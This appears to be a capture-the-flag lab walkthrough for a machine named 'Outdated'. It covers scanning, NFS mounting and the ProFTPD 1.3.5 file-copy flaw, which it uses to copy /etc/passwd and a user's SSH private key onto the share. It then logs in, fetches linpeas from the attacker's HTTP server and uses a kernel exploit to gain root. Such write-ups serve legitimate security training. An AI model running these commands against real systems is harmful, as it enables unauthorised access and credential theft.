# Outdated

## nmap

```
mkdir nmap
sudo rustscan -a 172.31.1.22 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan
```

## Enumeration

FTP on port 21 and NFSat port 2049 is open.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj1DyJCAl4VItdedGCg%2F-Mj1GZYHTlbTrk5bsvnz%2Fimage.png?alt=media&#x26;token=46c31b68-3fa0-4a85-84f2-5aece38d48ba" alt=""></div>

Let's see if there's anything we can mount on NFS

```
showmount -e $ip
```

As you can see, we are allowed to mount `/var/nfsbackups`&#x20;

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj1DyJCAl4VItdedGCg%2F-Mj1H0jKAAHA4WKR51ld%2Fimage.png?alt=media&#x26;token=a839cc02-7d3e-4cba-b83c-a5f308d31676" alt=""></div>

Let's mount that endpoint

```
mkdir /tmp/test_mount
mount -t nsf 172.31.1.22:/var/nfsbackups /tmp/test_mount
```

Upon mounting, we saw three folders but looks like they're empty.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj1DyJCAl4VItdedGCg%2F-Mj1HmnMsgWlzA9vk46r%2Fimage.png?alt=media&#x26;token=0c150de6-4ad6-4579-bdbe-ff1b40e7bb90" alt=""></div>

## Exploitation

If we will go back to the nmap scan, you will notice that the FTP is running `ProFTPD 1.3.5` and if you a quick search using `searchsploit`, it has a file copy vulnerability

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj1DyJCAl4VItdedGCg%2F-Mj1JK4kGg43k5jsvhO4%2Fimage.png?alt=media&#x26;token=141edea3-8476-4960-80c9-3e588b05403b" alt=""></div>

It means we can use this exploit and chain them with the NFS we have mounted. We can access almost anything we want by copying the file to the mounting point. First, let's connect to the FTP server using `nc` . I'll copy `/etc/passwd` to the mounting point since we can read the file from there.

```
> $nc 172.31.1.22 21 
> 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [172.31.1.22]                                     
> $site cpfr /etc/passwd                                                                                     
> 350 File or directory exists, ready for destination name
> $site cpto /var/nfsbackups/passwd                                                                                                                                                                   
> 250 Copy successful
```

Looks like we have successfully copied the `passwd` file, and now we can access it.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj1DyJCAl4VItdedGCg%2F-Mj1Myc0DWS6K1BUqJyc%2Fimage.png?alt=media&#x26;token=4f7cb644-432d-4bf9-8318-b4d876eca68f" alt=""></div>

Also, we can see `daniel` is the non-root user. We can copy daniel's ssh key to the mounting point. And if there's any private key, we can use it to log in via SSH.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj1DyJCAl4VItdedGCg%2F-Mj1NSQdUpq7PfMbMVgH%2Fimage.png?alt=media&#x26;token=cd904c4d-c9f9-4237-a749-520f19a7ec96" alt=""></div>

```
> $nc 172.31.1.22 21 
> 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [172.31.1.22]                                     
> $site cpfr /home/daniel/.ssh/id_rsa                                                                                     
> 350 File or directory exists, ready for destination name
> $site cpto /var/nfsbackups/daniel_id_rsa                                                                                                                                                                   
> 250 Copy successful
```

Let's try to use daniel's private SSH key to log in.

```
chmod +x daniel_id_rsa
ssh -i ./daniel_id_rsa daniel@172.31.1.22  
```

We have successfully logged in as daniel. Sweet :D

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj1DyJCAl4VItdedGCg%2F-Mj1OvQy645hd-nIBPwO%2Fimage.png?alt=media&#x26;token=28191f80-948a-44d7-81bc-863241c92690" alt=""></div>

## Post Exploitation

First, let's transfer `linpeas.sh`&#x20;

```
(base) [psdon@arch outdated]$ cd /opt/peass/linPEAS/                                                  
(base) [psdon@arch linPEAS]$ ls                                                                           
builder  images  linpeas.sh  README.md                                                                    
(base) [psdon@arch linPEAS]$ sudo python -m http.server 80                                                
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 
```

You can find the machine IP address by executing the following.

```
(base) [psdon@arch outdated]$ ip a | grep tun                                                         
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qle
n 500                                                                                                     
    inet 10.10.0.41/24 scope global tun0                                                              
```

Then transfer the script using `wget`

```
daniel@outdated:~$ wget http://10.10.0.41/linpeas.sh                                                                                                                                                                 
--2021-09-07 14:38:02--  http://10.10.0.41/linpeas.sh                                                                                                                                                                
Connecting to 10.10.0.41:80... connected.                                                                                                                                                                            
HTTP request sent, awaiting response... 200 OK                                                                                                                                                                       
Length: 458110 (447K) [application/x-sh]                                                                                                                                                                             
Saving to: `linpeas.sh'                                                                                                                                                                                              
                                                                                                                                                                                                                     
100%[===========================================================================================================================================================================>] 458,110      335K/s   in 1.3s     
                                                                                                                                                                                                                     
2021-09-07 14:38:04 (335 KB/s) - `linpeas.sh' saved [458110/458110]                                                                                                                                                  
                                                                                                                                                                                                                     
daniel@outdated:~$ chmod +x linpeas.sh
```

And now we can run `linpeas.sh`

```
daniel@outdated:~$ ./linpeas.sh                                                                                                                                                                                      
                                                                                                                                                                                                                     
                                                                                                                                                                                                                     
                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                                           
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄                                                                                                                                                                     
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄                                                                                                                                                                 
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄                                                                                                                                                            
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄                                                                                                                                                          
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄                                                                                                                                                           
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄                                                                                                                                                          
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄                                                                                                                                                          
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄                                                                                                                                                          
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄                                                                                                                                                          
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄                                                                                                                                                          
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄                                                                                                                                                           
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                           
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                          
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                                                                                                                                          
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀                                                                                                                                                           
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀                                                                                                                                                                    
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀                                                                                                                                                                         
                                                                                                                                                                                                                     
      /---------------------------------------------------------------------------\                                                                                                                                  
      |                             Do you like PEASS?                            |                                                                                                                                  
      |---------------------------------------------------------------------------|                                                                                                                                  
      |         Become a Patreon    :     https://www.patreon.com/peass           |                                                                                                                                  
      |         Follow on Twitter   :     @carlospolopm                           |                                                                                                                                  
      |         Respect on HTB      :     SirBroccoli & makikvues                 |                                                                                                                                  
      |---------------------------------------------------------------------------|                                                                                                                                  
      |                                 Thank you!                                |                                                                                                                                  
      \---------------------------------------------------------------------------/                                                                                                                                  
        linpeas-ng by carlospolop                 
```

Right out of the bat, you will notice the kernel version is `3.13.0-32-generic`

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj1QFkKzIyEy0cREXPc%2F-Mj1QiylIZQ963wP7JIn%2Fimage.png?alt=media&#x26;token=d954a28f-5a57-44d1-8bd8-0bf416055dd1" alt=""></div>

I found out this kernel version is vulnerable and can lead us to privilege escalation. And we can compile the exploit since `gcc` is installed on the target machine.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj1QFkKzIyEy0cREXPc%2F-Mj1R91SZbCTl0iI1U4_%2Fimage.png?alt=media&#x26;token=ce1d46f7-d128-40ae-8e2a-540797b5d870" alt=""></div>

## Privilege Escalation

First, mirror the exploit to our local machine and transfer it to the target machine.

```
searchsploit -m linux/local/37292.c
mv 37292.c exploit.c
```

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj1QFkKzIyEy0cREXPc%2F-Mj1Rlt6J_l0F1vO2O_8%2Fimage.png?alt=media&#x26;token=a7315c04-2c71-40a6-8663-e7f8696954e3" alt=""></div>

Compile the exploit, and enjoy your root privilege :D

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj1QFkKzIyEy0cREXPc%2F-Mj1S4CK3-e1-4q8kAqh%2Fimage.png?alt=media&#x26;token=96ba5546-127f-4e15-8b41-fee7c6adefc9" alt=""></div>
